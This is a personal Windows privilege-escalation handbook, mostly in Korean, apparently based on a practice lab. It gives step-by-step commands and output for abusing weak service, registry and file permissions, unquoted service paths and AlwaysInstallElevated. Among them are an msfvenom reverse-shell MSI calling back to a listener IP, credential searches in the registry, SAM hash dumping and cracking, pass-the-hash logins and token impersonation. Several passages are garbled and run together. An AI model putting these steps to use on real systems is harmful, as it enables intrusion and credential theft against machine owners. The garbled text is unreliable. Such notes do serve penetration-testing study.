
Windows 권한 상승 개념에 대한 나의 핸드북입니다. 내 재생 목록을 확인해 보세요, 링크: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!
whoami /priv - 현재 사용자의 권한net users - 모든 사용자 목록net user <username> - 특정 사용자의 세부 정보 목록qwinsta - 동시에 로그인된 다른 사용자net localgroup - 시스템에서 사용 가능한 그룹net localgroup <group-name> - 특정 그룹의 구성원 목록systeminfo - OS에 대한 모든 정보 제공hostname - 시스템의 호스트명findstr /si password *.txt - 텍스트 파일에서 'password'를 포함하는 파일을 찾는 데 사용wmic qfe get Caption,Description,HotFixID,InstalledOn - 보안 패치 및 관련 정보를 알려줌netstat -ano - 머신과 관련된 연결schtasks /query /fo LIST /v - 예약된 작업이 있는지 확인systeminfo 명령의 출력을 여러분의 머신에 복사하기만 하면 됩니다. 이것이 이 도구의 유일한 요구 사항입니다.wmic product get name,version,vendor - 제품 이름, 버전, 공급업체를 제공합니다. 이 명령은 우리가 필요한 것을 적절히 시각화해 줍니다.wmic service list brief | findstr "Running"을 사용하고, 서비스에 대한 더 많은 정보를 얻으려면 sc qc <ServiceName>을 사용하세요.post/multi/recon/local_exploit_suggester라는 모듈을 실행하세요. 이 도구가 제대로 작동하도록 세션이 백그라운드에 있는지 확인하거나 meterpreter에서 간단히 로드할 수 있습니다.winpeas.exe --help를 실행하여 모든 옵션을 확인하세요.systeminfo 명령을 실행하여 시스템 정보를 얻고, 그것을 파일에 복사한 다음 .txt 확장자로 이름을 지정하세요.여기서는 안전하지 않은 권한을 가진 서비스를 식별한 다음 이를 악용하려고 시도합니다.
여기서 winpeas.exe servicesinfo 명령을 사용할 수 있으며, 매우 유용한 서비스들을 볼 수 있습니다.
출력에서 흥미로운 부분 중 하나는 다음과 같습니다.```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- 그러나 더 자세한 정보를 얻기 위해 Microsoft에서 제공하는 **accesschk**라는 도구를 사용할 수 있습니다. 다음과 같이 실행하면 `accesschk.exe /accepteula -uwcqv <current-user> <service>`, 출력은,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config입니다.sc qc <service>를 실행한 다음, 변경할 Binary_path_name(이 값은 binpath라고도 함)을 확인합니다.sc config <service> <option>="<value>"입니다.sc config daclsvc binpath="<path>"를 실행하고 서비스를 시작합니다: sc start daclsvcVulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- 더 자세한 정보를 얻으려면 **WinPEAS** 스크립트를 `servicesinfo` 옵션과 함께 사용하면 됩니다. 여기서 **Unquoted Service Path**를 악용할 수 있는지에 대한 정보를 확인할 수 있습니다. 제가 도구를 실행했을 때 출력에서 흥미로운 부분은 다음과 같습니다,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service>를 사용하십시오.accesschk를 사용하여 특정 위치 C:\Program Files\Unquoted Path Service의 권한을 확인해 보겠습니다. accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"를 실행하십시오. 출력:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- 읽기 및 쓰기 권한이 있습니다.
- 이제 페이로드를 생성하여 `C:\Program Files\Unquoted Path Service`에 붙여넣겠습니다. `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`를 통해, 여기서는 알파벳 순서상 이점도 있는 다른 이름으로 지정하고 있습니다.
- 이제 서비스를 시작합니다. `sc start unquotedsvc`, 우리는 관리자입니다!!!
-----------------------
### 약한 레지스트리 권한:
- 여기서는 레지스트리 권한이 약한 서비스를 악용하려고 합니다.
- 찾으려면 `servicesinfo` 옵션과 함께 `Winpeas`를 사용해야 합니다. 출력은 다음과 유사합니다.```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
이제 서비스 이름인 regsvc로 이동합니다. 이 서비스에 대해 자세히 알아보기 위해 sc qc regsvc를 실행하면 출력은 다음과 같습니다.```
sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- 흥미로운 사실은 경로가 따옴표로 묶여 있어 **Unquoted Service Path** 취약점이 없다는 것입니다.
- 이제 `accesschk.exe`를 실행하고 더 깊이 살펴보겠습니다. `accesschk /acceptula -uvwqk <path of registry>`(즉 `HKLM\system\currentcontrolset\services\regsvc`)를 실행하세요.
- 출력에서 `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)`를 찾으면 이제 악용할 준비가 된 것입니다.
- 이제 `reg query HKLM\system\currentcontrolset\services\regsvc`를 사용하여 레지스트리 내의 옵션을 살펴보겠습니다. `ImagePath`라는 실행 파일 값을 받는 옵션을 찾았으니 이를 악용해 봅시다. 먼저 리버스 셸을 생성하세요.
- 이제 `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`를 실행하세요. 페이로드 경로는 자신의 필요에 따라 선택하세요.
- 이제 서비스를 실행하세요. `net start regsvc`를 실행하면 만세! 셸을 획득했습니다.
-----------------------
### 안전하지 않은 서비스 실행 파일:
- 여기서는 서비스의 파일 권한이 모든 사용자에게 접근 가능합니다! 서비스의 실행 파일을 변경하면 바로 악용할 수 있습니다!
- **Winpeas**를 특히 **servicesinfo** 모듈과 함께 실행하여 흥미로운 것이 있는지 살펴보겠습니다. 출력은 다음과 같습니다,```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
File Permissions: Everyone [AllAccess]
filepermsvc 서비스의 파일에 접근할 수 있으므로, reverse_shell 페이로드를 생성하여 해당 서비스의 실행 파일을 교체하면 셸을 얻을 수 있습니다.reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 명령을 실행하여 수동으로 확인할 수 있습니다. 이 명령은 자동 실행 프로그램과 해당 경로를 표시합니다.- 경로가 있는 프로그램 2개를 확보했으니 테스트해 봅시다.
- 이제 **accesscheck**를 실행하여 이러한 자동 실행 항목들의 파일 경로에 어떤 권한이 있는지 확인해 보겠습니다.
- 간단히 `accesschk.exe \accepteula -wvu "<path>"`를 실행하면 됩니다. 저는 **My Program** 자동 실행의 경로에 대해 이 명령을 실행했고, 출력 결과 `FILE_ALL_ACCESS`가 표시되어 이 폴더에서 사실상 무엇이든 할 수 있습니다. 주로 원래 실행 파일을 교체한 후 시스템을 재시작하면 셸을 얻을 수 있습니다.
- 이제 관리자가 로그인할 때까지 기다리면 권한 있는 사용자로 셸을 얻을 수 있습니다!
- 여기서 핵심은 관리자/소유자가 로그인할 때까지 기다려야 한다는 것이며, 그러면 바로 진행할 수 있습니다!
------------------------------
### AlwaysInstallElevated
- 표준 사용자가 **msi**(Microsoft Installer)를 관리자 권한으로 설치할 수 있게 해줍니다.
- 더 높은 권한을 얻는 멋지고 쉬운 방법입니다.
- 다음 명령을 실행하여 확인할 수 있습니다.
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` 및
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- 두 명령을 모두 실행했을 때 **AlwaysInstallElevated** 값이 1 또는 0x1이어야 합니다. 그러면 확인이 끝나고 계속 진행할 수 있습니다.
- 이제 **msi** 형식의 리버스 셸을 만듭니다. 참고용으로 아래 명령을 확인하세요.
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- 이제 그것을 Windows 머신으로 전송하고 다음 명령을 실행합니다.
`msiexec /quiet /qn /i reverse.msi`
- 만세! `nt authority\system` 권한으로 셸을 얻었습니다.
------------------
-------------------
## 비밀번호:
- 여기서는 레지스트리, 파일 등에서 자격 증명을 찾아봅니다.
- 그리고 로그인을 시도해 볼 것입니다!
----------------------
### 레지스트리에서 비밀번호 찾기:
- 레지스트리에서 비밀번호를 검색할 수 있습니다. 때로는 다른 사용자의 비밀번호나 소유자의 비밀번호도 찾을 수 있습니다.
- `reg query HKLM /f password /t REG_SZ /s`를 실행하면 레지스트리에서 **password** 문자열을 포함하는 모든 세부 정보가 표시됩니다. 검색해 보면 찾을 수도 있습니다! 하지만 안타깝게도 저는 아무것도 얻지 못했습니다.
- 또한 `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
`도 실행해 보면 몇 가지 정보를 찾을 수 있습니다.
- 전설적인 도구 **winPEAS**를 활용할 수도 있습니다. `windowscreds` 같은 옵션은 자격 증명을 찾고, `filesinfo`는 파일과 레지스트리에서 유용한 데이터(때로는 비밀번호도)를 찾습니다.
- 여기서 비밀번호를 획득한 후, 그것은 `password123`입니다. 이제 **psexec**(링크: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py)을 이용해 로그인해 봅시다. 구문은 `python3 psexec.py [email protected]`이고, 비밀번호를 입력하라는 프롬프트가 나오면 입력하면 admin처럼 접근할 수 있습니다!
-------------------------
### 비밀번호: Savedcreds
- 먼저 `cmdkey /list`를 실행하세요. 여기서 **cmdkey**는 저장된 사용자 이름과 비밀번호 또는 자격 증명을 *생성, 나열, 삭제*하는 Windows 서버 응용 프로그램입니다. 이 명령을 실행하면 저장된 모든 사용자 자격 증명을 볼 수 있습니다!
- 출력은 다음과 같습니다.```
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
runas /savecred /user:admin C:\Temp\reverse.exe를 실행해 봅시다. 그러면 관리자 권한을 얻을 수 있습니다.C:\Windows\Repair 디렉터리에 SAM 파일의 복사본을 만들어 두었기 때문에 우리가 실습할 수 있습니다! 해당 디렉터리에는 SAM과 SYSTEM이라는 2개의 파일이 있습니다.download 명령을 통해 그 파일들을 얻었습니다.python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM를 실행하면 Windows 머신에 있는 사용자들의 해시가 표시됩니다. 출력은 다음과 같습니다.```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::이제 위의 내용을 텍스트 파일에 저장한 다음 **JohnTheRipper**의 도움으로 크랙하세요. 구문은 `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`이며, 크랙되었습니다!```
password123 (admin)
password321 (user)
Passw0rd! (Administrator)
a9fdfa038c4b75ebc76dc855dd74f0da인 admin으로 로그인해 봅시다.export SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da 여기서는 그룹 ID도 함께 포함된 해시를 사용합니다.pth-winexe -U admin% //10.10.213.97 cmd.exe를 실행했고 admin 셸을 얻었습니다.pth-winexe 도구는 Kali에 이미 있습니다.schtasks /query /fo LIST /V를 실행하세요.CleanUp.ps1이 흥미로워 보이고 경로는 C:\DevTools\CleanUp.ps1입니다.accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1을 실행하면 읽기, 쓰기 등의 모든 권한이 있음을 확인할 수 있습니다.- 그런 다음 `CleanUp.ps1`로 전송하고 이름을 바꿨더니 연결을 얻었습니다.
--------------------
---------------------
## 안전하지 않은 GUI 앱:
- RDP 연결을 얻은 후 `Taskmanager`를 열고 `Details` 탭에서 실행 중인 애플리케이션과 사용자를 확인할 수 있습니다.
- 여기서는 `mspaint.exe`를 관리자로 실행하도록 의도적으로 구성했으므로 이것이 대상이 됩니다.
- **Paint**로 작업하고 있으므로 파일을 열 수 있는 옵션이 있습니다. `file://c:/windows/system32/cmd.exe`를 열면 짠! **admin** 사용자로 셸을 얻습니다!
- 여기서 기능은 다소 제한적입니다. 항상 RDP 연결을 얻을 수 있는 것은 아니기 때문입니다.
-----------------------
----------------------
## 시작 앱:
- Windows에는 일부 앱이 시작 시 실행되도록 허용하는 기능이 있으며, 이 기능을 악용할 수 있습니다.
- 시작 앱은 `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`에 있으며, 이는 기본 경로입니다.
- **accesschk.exe**를 통해 무엇을 할 수 있는지 확인해 보겠습니다. `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`를 실행하세요. 출력은 다음과 같습니다.```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW WIN-QBA94KB3IOF\Administrator
RW WIN-QBA94KB3IOF\admin
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R Everyone
CreateShortcut.vbs라는 스크립트가 있으며, 주요 목적은 업로드한 리버스 셸에 대한 바로 가기를 만드는 것입니다.list_tokens -u를 실행하면 모든 토큰을 볼 수 있습니다. 멋진 토큰을 찾은 후에는 impersonate_token <name of token>을 실행하면 됩니다.whomai /priv를 실행하면 현재 사용자의 권한을 볼 수 있습니다. 여기서 SeAssignPrimaryToken... 등과 같은 위험한 권한을 찾을 수 있다면, 이는 매우 위험합니다! 이러한 권한과 악용 방법에 대해 더 알아보려면 다음 문서를 확인하세요: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privilegesNT Authority/System과 같은 액세스 권한을 얻으려고 합니다.
[아직 진행 중.....]driverquerysc query windefend - 안티바이러스 서비스 확인